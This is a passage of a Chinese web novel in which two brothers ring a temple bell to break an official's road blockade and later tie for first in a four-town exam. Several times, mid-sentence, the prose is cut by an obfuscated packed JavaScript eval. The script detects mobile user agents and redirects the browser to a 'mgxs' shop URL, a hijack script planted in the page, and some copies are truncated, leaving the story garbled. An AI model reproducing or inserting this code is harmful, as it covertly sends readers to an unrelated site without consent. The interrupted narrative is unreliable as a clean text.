他忍不住问沉眠的系统,“这是不是可以说明,这是他成为反派的真正原因。这种情况会好转吗?” 系统:“本来,他的黑化值是停滞的状态,也不知为何刚才突然升起来。宿主放心,现在又降回去了。” 江寻:“也许是我爹娘的关心让他回到了正道,但等到他离开,没人压抑,也许又会往上升。” 他得寻找一些压抑黑化值的办法,在江夜离开自己的爹娘之后,也会做个正常人。 就目前看来,自己是他的弟弟这一点,江夜还是挺受用的。 看来,家人这条路还是行得通的。等以后再娶妻生子,也许能彻底地安定下来。 到现在为止,就以他的好弟弟相处着吧。 散了学,三人一起去了之前一起打架的山神庙。这庙宇是个被废弃的地方,据说庙里曾死过人,渐渐地便没了香火。 他们在山神庙理出一个区域,专门用来辅导功课。 江夜:“你们现在开始背《大学》第一部分,背好就算过关。” 他刚说完,江寻就举手,“哥哥。” 江夜抬了抬下巴,“说。” “会背就可以了?” 江夜:“当然不够,还得解释给我听。” 江寻点点头。 江夜:“开始吧。我去旁边打个拳。”他说着就去了,留下江寻和沈德福。 沈德福满脸崇拜地看向远走的江夜,“你哥哥真好,我要是有这么一个哥哥,我都要偷笑了。” 江寻笑,“——送你要不要?” 沈德福啊了一声。 江寻:“我看会儿书先。” 沈德福,“可等会夜哥就要来查了。” 江寻:“我知道。” 沈德福虽然困惑,但也不能管江寻,只是感慨,这江寻未免太懒散了一些。江夜看着还是挺凶的。他老老实实地念着背着。 过了一会儿江夜要回来了,江寻才放下书,装模作样地念起来。 只念没多久,江夜才说:“开始吧,我要查你们。” 于是接下来,让沈德福震惊的事情发生了。 因为先让背的是江寻。 无论江夜抽什么,江寻都能对得上,口齿清晰,思维敏感,仿佛在眼前放了本书。这种感觉……其实在这个学堂,两个人让他特有安全感。第一个自然是朱红,第二个就是这江寻。因为只要有这两人在,自己就永远不会垫底。 可今日江寻的表现,又仿佛在说,我是假的,我只是懒得努力,一努力起来天下无人是我的对手。 道理是这个道理,但……问题是也没见他努力过啊。 当然,不光沈德福有这种感受,江夜也有这种感觉……这个时候又对答如流了,上次也是。 背得出来,也解释得出来。就是考不出来 那边江寻笑眯眯的,“可以了吧?” 江夜连重话都说不出来,说什么,都会啊。只说了句,“可以。”这才转向沈德福。 自然,沈德福就是呜呼哀哉了,问啥啥不会的了。 辅导结束,三人才从山神庙出来。此时天色已渐渐黑下去了。 双方在桥头分别,江寻江夜也一起回家,走到墨斋坊的时候,江寻还进去换了几本书。 换好出来对江夜道:“要不要看,新本里里面好多惊天大案,刺激得很呐。”他笑着两眼弯弯。 江夜:“……你记得你的季考就好。” 江寻笑,“记得,绝对记得!” …… 江寻确实记得了,每次江夜一来,他就读书给他看,摇头晃脑的,模样真的特别可爱。 这倒是弄得江夜都哭笑不得,自己又不逼他。但每次看到阿寻懒洋洋的,他又忍不住苦口婆心——只有他知道这科考之难。对于他这种人来说,自然是轻松的。但阿寻的话…… 自己能感觉到江寻的聪明,但他似乎一点也不打算将这份聪明用在正道上。 说实话,他确实想与他一起科考的。 不过也才相处几年,自己真的把自己当哥哥了! 就这样三月一过,到了四月,季考正是五月的事情。 四月清明,家家户户要上坟。江家也不例外。他们是普通人家,没有什么重要的仪式,买了些香烛纸钱便上了山。上山的时间非常早,江秀才和张氏先上的山,让两兄弟迟一点上去跟他们汇合。 两兄弟早起绕到西山山脚,但看山脚下有一些官兵拦,拿着柄长矛将山门给堵了。 他们去问了人才知道,原来是清平县蓝知县也在山上,故而清道, 但江寻还是注意到,除了知县的轿子外,还有其他老爷的轿子可以上山。 这个答案,那些官兵就不会回答你了,表情还很不耐烦。 “怎么,让你们等着就等着,哪里这么多话?你们非要上山,是想造反吗?” “再啰嗦,把你们也锁了带走!” 这话说得重,让那些问话的老百姓各个噤声不语了。 江夜见状,哪里能看得惯,站出来道:“不过问个话就给普通百姓冠这样的名头。我看你们才好大的官威,不知大朔哪条法令言明,不许百姓连话都不能问的?” 众人一听,见是个不过十来岁的孩子,都不觉敬畏。 那官兵自是被怼得哑口无言,咬着牙道:“我没这样说,你们喋喋不休追问,已经影响公务了!” 江夜在朝堂纵横十多年,哪里不知道这些底层官吏的作派,官大有官大的办法,至于这些官小的,因为靠近百姓,最爱作威作福。 只是,他有理他怕什么。他还要再说,突然被江寻捏了下手心。 江夜回头。 江寻低声道:“你跟他作着干,吃亏的是我们的爹爹。” 江夜:“不信哥哥能对付他们?” 江寻笑,“信,就是觉得不值当。耗心耗力。” 江夜听后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江秀才好奇,“你问这个干什么?” 江寻笑,“想知道嘛,跟我说说。” 江秀才道:“这钟声报急,各乡各村都有。庙里的钟,平时只做早晚课用,但要是出了大事——山匪来了、洪水来了、走水了——就敲急钟。一响传一庙,一庙传一村,一村传一镇。听见钟声的人,不管在做什么,都得往钟响的地方赶的。” 此时江夜已经知道江寻要干什么,天,他怎么那么聪明! 江寻又问:“可是九声?” 江秀才又应了声。 江夜看江寻转向自己,忙道:“我知道了,我配合你。” 江寻还有一个疑问,“万一他们是真的有事……” 江夜淡笑:“你放心,他们就是自私自利。”清河县的蓝知县也是出了名的坏,前世没来得及,今生迟早收拾他。 他牵住江寻的手,对江秀才道:“爹,我带阿寻去山上的寺庙,很快就下来。” 12. 季考 江秀才和张氏以为他们真的去玩,说了声小心,就放他们去了。 这山上的寺庙叫小慧寺,寺庙不大,但钟声还挺有名的。 他们往着另外一个方向往上走,走了大约几百个台阶的时候,才到寺庙。因为寺庙太小,和尚敲完钟后基本也都有事去了,寺庙安静得就像没有人。 两人绕到敲钟处,齐心合力地握住撞木,重重地撞响钟。 不一会儿,钟声悠扬响起, “当——” “当当当——” 一共九响。 清明鸣钟,本是庙里的规矩——但九响,是“急事”的意思。 山下等着上坟的人开始往上涌。 “怎么回事?” “庙里出事了?” “上去看看!” 县衙的衙役哪里拦得住——为首的差官扯着嗓子喊“退后——退后——”,声音还没传到人群后面就被淹没了。有些则索性不拦了,拄着水火棍站在路边,脸上一副“随你们去吧”的表情。 人太多了,穿青布衫的、穿蓝布褂的、挽着竹篮的,都是拿着香烛纸钱的百姓,一群一群地挤着往山上走。 看庙中何事为假,上山上香为真。 …… 另外一边,江寻、江夜敲完钟,趁着寺庙师傅没来,他们抓紧下山,迎着山风细雨。 是跑得下山的,生怕身后的师傅追上来。 走到山门口,就看道已经通了,恢复了清明时节正常的秩序。 江寻回头笑着对江夜道:“这才是清明啊。” 江夜也是满脸笑容,“得亏你的想法。” 两人混在人群中,看到知县大人的轿子狼狈地从人群中挤出,轿帘歪了半边,轿夫们的帽子不知被谁挤掉了,他们朝着远处而去。 江夜有那么一刻的冲动想把知县大人的事都告诉江寻,也许他能跟自己一起收拾这个鱼肉百姓的贪官。 但若是江寻问起来,自己又该怎么说。他想了想,还是缄口没说。 清明回来的路上,江秀才和张氏还在说着小惠寺突然鸣钟九声的事情。 “这小慧寺的钟声很久没响,也不知是什么事情?”江秀才道。 张氏笑:“还能是什么事情,这知县大人无缘无故封道,大批百姓被拦在山下。要我说,搞不好是菩萨显灵呢。” 江秀才叹息摇头:“娘子说得太远。” 话音刚落,就有一对妇女打从他们身旁经过,她们口中说着正是张氏所说的:“阿弥陀佛,菩萨显灵,给咱们开了道,不然还不知道要等到什么时候。也没个告示,差点祖宗都吃不上香火。” “正是,这小惠寺真是神寺啊。这蓝知县也不止一次这样了!” 听到这些话的江寻江夜忍不住哈哈大笑。江秀才和张氏还不明所以,这笑什么呢。他们哪里知道,这些人口中的菩萨可不正是他们的儿子吗? 回了家,张氏给一家人都蒸了青团,给江寻做的是甜口,豆沙味,给江夜做的是笋丝的。两兄弟坐着吃着,一边吃一边读闲书。 江夜刚看完江寻推荐的奇案,发现竟然还挺好看。 江寻按着书道:“怎么样,好看吧。我没有骗你吧。” 江夜:“………这设计得太精巧了。” 江寻说起这个案子,“我当时看得已经猜到一部分,但等我看完,才恍然大悟。这个诡计……太绝了。我倒是挺想去看看这书的著者呢,人就在盛京。” 江夜倒没注意过,可能真的有这样一个著者吧。 “有的是机会,我们迟早要去盛京的。” 江寻笑着颔首,说实话,他还是挺期待看看这个朝代的盛京城变成什么样的。 不过,虽然公案小说很好看,江夜道:“闲书是要看,但书也要背。” 江寻也比较配合,摊了摊手,“哥哥请考校。” 江夜:“《大学》第三十三行。” 江寻;“所谓治国必先齐其家者,其家不可教而能教人者,……” “解释。” “意思是说自己的家都管不好,凭什么去管一国之民——” 清明窗外还下着细雨,窗内兄弟俩读书说话的声音隔着远远都能听见。 …… 清明过后,他们按部就班地读书、学习,在五月初,四个镇,清河镇、白石镇、柳溪镇和杨桥镇,四个镇举行了一次联考。做东的正是清河镇,也无怪吴夫子会这么上心。 目的的话,既让这些十来岁的孩子提前感受县考,让他们见见世面,也让各个私塾互相比比教学成绩。 四个镇大约九所私塾,学生有一百人左右。当然,实际参考的可能要少一些,但大差不差。 联考地点在清河镇慈恩寺。寺里有个大院子,能摆几十张桌子。正殿前面有廊檐,下雨也不耽误事。寺门口就是集市,孩子们考完就能逛。 当然对于两兄弟来说,还是抓紧赚银子要紧。他们让江秀才和张氏推着摊车过来,早点摆着,要不然都没位置了。 他们的预言非常准。到了季考当天,但看人群络绎的,都是四里八乡的双亲带着孩子来参加季考的。虽然只是一次季考,但双亲还是充分重视。 江寻江夜也早就到了,只不过忙着帮张氏卖糖粥。 私塾里的同学看到他们,也来捧场,几乎是每人都买了糖粥才进的慈恩寺。 就这样赚了不少,两人才恋恋不舍地进了寺庙,准备考试。 江夜还是比较紧张的,当然是因为江寻。 但看江寻气定神闲,负着手转来转去的,那模样哪里像是来参考的,根本是来巡考的。 还别说,江寻确实曾巡过考。 他前世年少成名,后更是因为战事名声大作,曾负责过科考,是明德十五年的主考官。他的门生有些五十岁,还要尊称他一个三十岁的一声老师。只不过,以前专门应考,并没有观察过其他人如何。现在对于他来说,就跟看热闹一样,仿佛看到人生百态,优哉游哉。 现场的位置全部是打乱的,所以两兄弟也分开了。 江寻跟江夜说了句,“哥哥,我走啦。” 江夜忙拉住人,“没问题吧。” 江寻笑,“哥哥没有,我也应当没有。” 江夜信了,笑着摸摸江寻的头,没办法,小他一岁的江寻比他矮很多。个子小,人也长得可爱。皮肤白白的,眼睛大大的,属于是那种越看越可爱的那种。 他是真的把他当弟弟了,宛如是自己的亲弟弟一样。 江寻找到了自己的位置,坐了下来。过了一会儿,上面的几个老夫子便拆封发卷。开考时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363412|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是辰时正,一直考到午时,一共要考两个时辰。 江寻翻开卷子,看到了第一道题目,是默写《大学·秦誓》全篇,要求一字不差地默写。 第二道是对课,每人五个对字。第三道写大字,字体不限,但要求端正。 第四道是写五言绝句,题目是《春》。 题目不算难,对于江寻来说,更是小意思。 他现在就一个问题,该如何恰好考到前十,而不至于抢占第一名。 按照书中剧情,这一次的第一名还是江夜。但没有人知道,第二名和第三名的情况——他们差在哪里,以及跟江夜的差距又是什么? 所以,江寻不由地想: 他的五言绝句如果写得太好,直接拿了第一怎么办?写得太差,掉出前十,还要受江夜的“压迫”。如果他的最后两道答得太好,而前面两道错得太多,夫子又该如何评判。 一般来说,他知晓他们的评卷标准。比如乙等,属于是对课尚可,但默写要求错三处以内。 大致如此。 如果他的诗作在甲等,默经是乙等,吴夫子最后算他乙等,则将掉出前十开外。 江寻苦恼啊。 最终他决定第三道和第四道题目尽量别翻车,在第一道题目上做文章,预计错三个字左右。 还是先赢了这个赌要紧。——毕竟,偶尔一次成绩好,也代表不了什么吧。 他洋洋洒洒地落笔成字。 第一道不假思索,第二道亦是如此。 全部写完,他故意在第一道错了五个字,改完字后又将卷面压了压,营造出不太干净的样子。作为前主考官,他深知卷面的重要性。 就算他的各方面都是甲等,但由于他的卷面,至少前三是不会有的了。 写完后,他交了卷。 出来时,发现江夜已经在等他了。 江夜开头就问:“怎么样?都写出来了吗?” 江寻笑,“还行吧。” 此时沈德福也走出来,对两人道:“《秦誓》你们都默出来了吗?”其实他知道江夜是肯定默出来的,所以他问的是其实是江寻。 这是差生跟差生的交流。 江寻:“………” 江夜答:“默出来了,你没默出来吗?” 沈德福叹气,“死活想不起来,估计要垫底了。”他转向江寻,又问,“你默出来了?”他见江寻一声不吭,还道他没默出来。 江寻:“这不是巧了么,我恰好背了这个。哈哈哈。”笑得尴尬。 沈德福哀嚎,“天啊,不会就我没默出来吧。还有那什么诗,鬼会写呢。” 此时隔壁私塾的一个学子从旁边窜上来,“没事。那什么诗,我也不会。” 听到另外一个人也说道:“我也是。唐诗都没背熟呢,写什么诗啊。” “就是就是,最起码让我们背完唐诗三百首吧。” 这群学子仿佛找到共同语言,互相诉着苦。 一旁听着的江寻冷汗直下,他忘了,对啊,唐诗还没背完呢。诗教是今年的事。 他正目瞪口呆着,一旁的江夜还安慰着:“怎么了?没写出来也没关系。” 江寻扁着嘴,“有关系啊,哥哥。” 他估计要得前三了,这真是跳进黄河都洗不清了。 13.第一 江寻的苦恼估计没有任何人明白。 他只是安安静静地过此一生,并不想有太多的关注。 所以,光是一想到,所有人要议论他那首《春》,他的头皮就开炸了。 …… 季考结束,四个镇的吴夫子聚在一起阅卷。 阅卷过程是这样的。九位夫子分三组,每组三人。每组负责一个题目。每组三人分开批,最后核对。 阅卷也要求糊名。 紧张有序的阅卷进行了一段时间,很快就结束了。 最后得出甲乙丙丁等各二十名。 然后在甲等中再选出前三名。前三名的标准是默经全部对,字好,以及诗作得也佳,最后就是对课要工整。 最终他们调出了四份卷子。 这其中有一份卷子,九名夫子都一致认同为第一,当之无愧。 吴夫子已经认出这卷子的字,可不正是江夜是也。他对这弟子是又爱又恨,爱他是他是自己见过最聪慧的弟子。——如果不出意外,他日高中状元只是时间的问题。恨他则是此人性情乖张,从不按理出牌。自己就算是顺着他的心意,他也不会听从自己的话。 相比较江夜,他的弟弟江寻就好太多太多了。 说是兄弟,但性情却大不相同。 江夜定为第一,先不说。 夫子们抽出一张极为特殊的卷子。 其中柳溪镇的夫子道:“此卷卷面虽有瑕疵,第一道默经也有三个错误,但其他答得都很好。你们看他写的这首五言绝句,余韵天然——‘草根晓霜稀,初暄蝶倦飞。行至碧桃下,新花旧枝非。’”他读得摇头晃脑的。 “此诗当为全场第一,你们可有异议?” 其他夫子也凑过看,一个个老学究眼拿着个老花镜看完也是频频颔首。 “二十字,写尽早春。在这个情况下能写出这样的诗,此人有绝世诗才啊。” “不知是哪个镇的弟子,没听说。”小小年纪能写出这样的诗来的,他们一定是有所耳闻的。 吴夫子也好奇,他拿起卷子细看,反复地看来看去,越看越像江寻的字。 但……江寻! 这个每日课上看课外书的学生,从未有一天听过他的课! 不是吧。 但他仔细地又吟诵了一番,诗作得确实是好。他看完拿给旁边的夫子看,旁边夫子看完也道:“这个‘倦’字太好了,所谓天气回暖,蝴蝶还没醒透,飞不动。观察生活如斯,独具诗眼啊。” “要我说,还是最后一句写得好,物是人非,感叹颇深。这样诗作居于第二未免可惜!” 其中一个夫子道:“要我看,这卷也评为第一算了。虽然默经有错,但诗作立意却胜过刚才那第一名的许多。” 吴夫子一听他们要夺江夜的第一,也是急了,“这季考从未有两个第一之说。” “咱们这个是四镇联考,规矩还不是我们定的。选择这卷也列第一的,都举个手。” 于是九个夫子有七个都举手了。 就这样,这写春的卷子也拿了个并列第一。 …… 江寻从未想过,自己考完试还有忐忑的一天,忐忑自己考得太好。就这样忐忑地等到了张榜日,他和江夜去了慈恩寺外。 观看的学子虽不如县考这些多,但仍是蛮多的。 江寻不想去看,但哥哥要去,他也只得跟着。到了榜下,他以人太多,要求在一旁等着,让江夜去看。 江夜绕到榜下面,直接从开头看起。 江夜当然不是来看自己的,而是帮江寻看。说实话,他是既希望江寻做到,又希望自己能继续管他。——再放任此人游荡,也不知要飘到哪里去。 但他万万没想到,他没能在前十看到江寻的名字,而是在第一名,与自己一起。 说实话,他是相当自负的。 前世,他就罕有对手。但他没想到江寻能考到与他并列第一。江寻,他的弟弟。 季榜旁边还粘贴着前四名的卷子,有不少人在那江寻的卷子前驻足。 于是江夜看到了江寻写的那首《春》。 他看完,默然良久。他听着周边有人道:“自然天成,这诗当属第一。” 诗是最容易传播的,很快,不少人便背了这首歌。 他们在走路时闲聊着,“你们听说那清河镇的江寻写的那首《春》吗?” 此时,立在一旁等着哥哥的江寻听到后,几要眼前一黑,他看到江夜归来,问道:“有没有前十?” 江夜:“你猜。” 江寻此时已经猜到了,“前三啊?” 江夜感叹地说:“你深藏不露,我竟是不知啊,我的好弟弟。” 江寻瞳孔震惊,“第一?” 江夜点点头。 江寻略带了点不好意思说:“只是意外。”以前一直是江夜第一,想来突然这第一被抢走了。换谁谁的心情都不会好。 不料江夜却笑了,“你也能第一,我倒是松了一口气。” 江寻:“松了一口气?” 江夜目光炯炯有神,“我很想跟你一起考到盛京去。”这样他就更加有胜算了。 江寻:“…………”他有预感,通过这眼神他能感受到江夜对自己的好感度应该又近了一点,他就是知道,甚至都不用问系统。 是啊,相比较他的大计,江夜又如何会在意这些?对于这个几乎被所有人背叛过的人来说,有一份值得信任的亲情才是他最重要的东西。 “我也是,哥哥。” 江夜明显挺高兴的,笑:“真的吗?你别是开我玩笑吧,那你要答应我,说到做到。以后就算你不想去盛京,我也会拉着你去的。” 江寻笑:“答应你。但这次你也得答应我,以后可逼着我读书了。我该努力的时候会努力就是了。” 江夜此刻也明白江寻的实力,“好,我答应你。” 两兄弟说好后,便回了学堂。 刚得知成绩的吴氏学堂如今就像个鸡窝一样。成绩最好的出自他们学堂,成绩最差也出自他们学堂,两级分化相当严重。 而等到江寻、江夜回到学堂的时候,即刻受到了英雄凯旋般的欢迎。 “四镇第一回来了!” “不愧是你啊,江寻江夜,你们江家吃什么米长大的,也让我分点吃吃。” 诸生们你一言我一语的。 只有角落里的张迅疾忍不住吐酸语,“哼,不会是作弊做来的吧。平日里天天垫底,怎么季考导致突然就第一了?” 朱红也跟着附和,“就是。江夜倒是可能,江寻我打死也不信。” 这些话虽然低,但恰好被所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚拿到奖励,两兄弟便商量把这上好的文房四宝和书籍转手卖给了翰墨斋。刚准备走呢,沈德福道:“明日请你们来我家吃饭,我娘说要感谢你们呢。” 江寻一听,这是个机会,靠近沈德福的家人,忙道:“好啊。” 江夜听到江寻这样说,也跟着道:“阿寻,我也去吧。” 沈德福道:“你们都来!哈哈!我家简陋,你们可别嫌弃啊。那明日见!” “明日见。” 回去的路上,两人拿奖励换了碎银后,去买了烤鸭,买完,提着烤鸭正准备回去。 系统为江夜鸣不平,“我说,宿主,你是不是有点区别对待啊。” 江寻:“怎么说?” “你对沈德福的事情可比江夜上心,他才是你的任务对象哦。” 江寻:“那我问你,现在他对我的好感度到哪了。” “七点。” “你看。我跟他在一起多少年了,也就七点。我觉得我这辈子都不一定能到六十点了,在此之前,我也得给我的家人留点保障不是?” 系统:“那任务还做不做?” 江寻看着走在他跟前的瘦高身影,快十岁的江夜高了不少,虽然还是个孩子,但眉目间已经隐约能窥见长大后的模样。 他笑道:“心急可吃不了热豆腐啊,慢慢来嘛。” 14.富贵 这只烤鸭就是他们今日的晚饭。 江寻是这样的,在他做事的时候,他都会全然地投入进去,吃烤鸭也不例外。 于是乎,江夜在桌上听着江寻给张氏讲着这烤鸭的妙处。 头头是道,从不炫耀,娓娓道来,博览群书。也只有这个时候,他得承认,这确实是能与他并列第一的那个江寻。 江寻说:“娘,你知道这烤鸭是怎么烤出来的吗?” 张氏:“你说说看。” 江寻指着桌案上的油光发亮的鸭子,道:“是是挂在炉子里烤的,炉子是用泥糊的,里面烧果木——枣木、梨木那种。”他夹了一块给娘亲看,“吃法则有两种。一种就是我们现在这么吃,用点薄饼,加点葱丝、黄瓜丝,再抹上甜面酱。” 江夜一边听讲弟弟说,一边照做,“就跟我一样,是吧。” 江寻笑着点头:“对,就是哥哥一样。” 一旁的江秀才:“还有一种呢。” 江寻笑:“还有一种叫‘片皮鸭’。庖夫拿一把刀,把鸭皮一片一片地切下来,切得薄得透光,蘸着白糖吃——” 张氏皱眉:“蘸白糖?那不是甜的咸的混一块儿了?” 江寻笑:“就是这样才好吃。你们想,这白糖化了,裹在脆皮上,又甜又香,入口即化啊。” 张氏:“看你平日竟读些闲书,原来还有这妙用。” 江夜在一旁道:“读闲书也没什么,每日读还是能拿第一。” 说起这个,江秀才和张氏都要满面红光了,这是文曲星来他们家了吗,没成想,他们也有今日! “咱们江家也是祖坟冒烟了。” “要我说,孩子他爹,咱们寻儿或许真的能考个举人回来吧。” 他们说着话,爹娘是高兴了,江寻则是能不提这事就不提这事啊。 次日沐休,两人早上帮着张氏去后院开辟了菜地,养了菜,弄完再依约前往沈德福家。沈家正在东街尽头,文昌坊入口处。 又原来,沈德福家颇为气派。 江寻知道,根据书中介绍,这沈德福的爷爷三十年前从推车卖货起家,至今,货铺开了足有三四家,县城也有分号,田产则有上百亩。可以算是清河镇的富户之一了。 只是沈家行事低调,所有人都不知沈德福就是沈家老爷子的独子罢了。 这些消息,若不是系统告诉,江寻也不会知道。而有时候,这些信息最为关键。 他看着沈府门口那尊石鼓,以及那棵足以荫凉半条街的大槐树。 忍不住赞叹道:“真气派啊,你说呢,哥哥。” 一旁的江夜自然觉得没什么了不起,他的真实身份是国公府世子。虽然这个身份可能这辈子都不会被人提及了。又或者,他根本不在意什么世子不世子的。他只是不喜欢弟弟的目光不在他身上而已。 他们在门口驻足了一会儿,那边沈德福便迎出来了。 “你们来啦!快进来!”胖乎乎的小脸满脸兴奋。 江寻道:“打扰你了。” 沈德福道:“谈什么打扰,快进来。就到我的院里吧。” 他们迈过二门,过了一条走廊,来到内院。这内院就有正房三间,东西厢房各两间,东厢房住的就是沈德福和他的弟弟。 院子里摆了小菜,沈德福像个小大人一般招呼他们。 三人吃喝了一阵,江寻顺势提起,“要不要拜见你爹娘?” 沈德福:“他们整日在铺子里,最近忙得很,晚上都不回来呢。不必拜见。” 江寻一听,书中也没具体说时期,最好迟一点吧,如果是现在,他也拿不出这么多银子啊。想来这个夏日得多赚点银子,能赚一笔是一笔。 他正寻思着,沈德福举着茶杯跟他们敬道:“别说他们啦,我敬你们一杯。以后可得你们多多提携才是。” 江寻想,真不愧是做生意出头的大生意人,就是会做人。他也忙举起茶杯。 江夜是看江寻起来,自己也跟着起来。 三人碰了杯。 沈德福道:“有一件事,不知夜哥你答应不答应。” 江夜:“你说。” 沈德福道:“我娘说,这次多亏有你补习,我才拿了乙等的成绩。不知道夜哥你有没有时间替我补习,你放心,我娘说了,银子绝不会比你们出摊要少。你们一天出摊赚多少,我娘说会给双倍。” 江寻一听,这不是说银子银子就来了么。 他看向江夜,眼睛亮亮的,“哥!” 江夜:“…………”他一个状元给一个小孩子补什么习……当初是看在江寻的面子上。日薪酬别说也就六百文,就是一天一两,他也不屑一顾。 但话肯定不这么说,他道:“不是我不愿意,只是我这糖粥生意我娘也在跟着做,我得帮他们一起去。” 沈德福不理解,所以帮爹娘更重要是吗?但那可是六百文一次啊。“如果夜哥你嫌少的话,我可以提到一两一次。” 江寻轻推了江夜一把,“哥哥,你不考虑一下?” 江夜:“………你不是说夏日还要去卖香饮子。我们有空吗?” 江寻:“不冲突啊。你只管去补习,我去卖就好。” 江夜:“我觉得还是一起比较好,我不放心你。” 江寻还要说:“哥……” 沈德福见两人似要争吵,已经看出江夜只想和江寻在一起,忙想了个主意, 道:“这样好了,我可以和阿寻一起啊。我不介意的,银子还一两,怎么样。” 江寻:“…………”他不想被补习啊!! 江夜觉得这倒是挺好,期待着看着江寻。 江寻硬着头皮,不要跟银子过不去啊。虽然他视金钱为粪土,但有时候这粪土可是能救命的。“那……也行吧。哈哈。我就当个旁听就行。你们怎么看?” 江夜道:“也行吧。” 沈德福见两人答应,喜不自禁,他从小受到的教育就是读书最重要,生意还是其次,奈何实在读不起来。 “我娘说了,如果我县考能顺利考到童生,还有更多嘉赏。” 听着这些富贵人家花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374090|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大银子培养孩子读书,江寻不由唏嘘,穷苦人家如他等,除非天赋异禀,不然实则很难破局啊。可也足以见出江夜的天才之处。 从沈府出来,江夜沉默着没说话。 江寻还以为他不想教人,宽慰道:“哥哥不想教沈德福的话,回绝了便是。” 江夜抬眸,“没,只是想富贵人家总有数不尽的资源财富,起点如我等穷苦人家要好太多太多。” 江寻:“…………”两人竟是想到一处了。“那又如何呢。”他说着看向远处天际,“所谓人中龙凤就是就算在人群中也是个中翘楚,哥哥就是那人中龙凤。” 江夜笑:“是吗?” 江寻颔首,他是真心这么认为的。虽然他从书中看到江夜的一生,知道他毁誉参半,但他看到了他所做的那些好事。他认为这个人并不是纯粹的坏人,他只是……缺少有个人肯定他,告诉他。 ——江夜,你可以做得更好。 ——江夜,你的人生也不是只有黑夜。 ——江夜,只要你想,你将一出泥潭便成化蛇为龙。 果然在他点头之后,江夜笑了,“谢谢你阿寻,哥哥不会让你失望的。其实,哥哥觉得你也是人中龙凤,在你散漫的外表下。” 江寻笑,“我竟不知哥哥是夸我还是骂我,但谢哥哥你了。” “咱们回家吧。” “好。” …… 补习之事就这样说定了,但同时,江夜并不打算放弃跟江寻一起去卖香饮子。他也不知道为什么对这件事这样执拗,他就是想与弟弟一起。 五月过后,就是六月,他们也得提前做好准备。 比如要把曾经改装摊车的事情提上日程。 主意是江寻想的,那就是在摊车上画画。请个画工所费不菲,自然还是得他们自己动手,丰衣足食。 两兄弟选了个晴暖的午后,去铺子里买了些便宜颜料。 江夜问江寻:“你会画画?” 江寻道:“不会啊——看别人画过,想来也不太难。”他当然学过画画。他前世受过专门的训练,堪称诗书画三绝。但他不好跟江夜说。 江夜看江寻蹲在车板前,拿着一支旧笔,先是画了一只碗,碗圆圆的,口大底小。又在碗里画了几个圈,代表着枣和桂圆。最后画了几根完完全全的线,代表着热气。 画好后,江寻抬头问:“怎么样?” 江夜似乎是每次都会被江寻刷新认知,他说他不会,他其实会;他每日不读书,但他就是能考第一。 “惟妙惟肖。” 江寻嘶了一声,“是吗?”他已经收着点画了啊。 江夜也蹲下来,在江寻画的旁边拿着只毛笔继续画了个圆脸童子,一个个子小小的,一个高一些,两人手拉着手,笔触比较简单,但……江寻看出来了。 恰好对应那“兄弟摊车”。 江寻笑道:“拉手不太好吧,兄弟应该挽着肩。” 江夜往后退了一步,仔细看了一会儿,道:“是吗?我觉得挺好的,就手拉手吧。” 15.卖冰 摊车改良后,两人将车子给了江秀才和张氏看,他们自然也说好。 车子的事情完成了,还要完成一件事——他们得先去找冰窖。冰窖是二月份就订好的。江夜知道,明顺八年是一个特殊的年,异常的炎热,以至于冰都买不到,冰的价格被抄到疯狂的地步。 他们找的是镇上最大的王家冰窖,租冰的费用是五两银子。 当时那冰窖的管事看到是他们两个孩子,还挺不屑的,问:“你们要租冰,你们有银子吗?” 说完,就看到他们直接拿出十两银子。 “这是定金,我要租你的冰窖。” 那管事瞪大眼睛,“全部?你们知道全部是什么意思吗?” 江夜道:“当然知道。”他的目光炯炯有神,“是六十车。我要你最好的位置,最深处那一块。六月开始取,八月结束。剩下的冰我如果没说,你不能卖给别人。” 那管事沉默了,他从未想到,这么大的单子竟然会来自两个孩子。 江寻对江夜要租那么多的冰,也不阻止,他也知道明顺八年的事——这一年干旱,练着六个月不下雨,就连庄稼都枯死了。 也许他们真的能借着这一次大赚一笔。 他们跟管事签了契,画了押。 处理好冰的时候之后,接下来就是冰上面的东西。 江寻的想法是一个是酸梅汤,这是经典香饮,他们又有冰,自然是不一样的。另外一个就是绿豆汤。大致是这两种。至于家伙,他们也得备齐,大概为冰盏和保温桶。 东西全部都置备整齐后,很快就到了七月,夏日的炎热就来临了。 江寻江夜先推着摊车去了学堂里,先卖给自己的同学们。结果可想而知,刚推过去,就被抢光了。 当然,他们的目的绝不是就让他们低价喝冰这么简单。 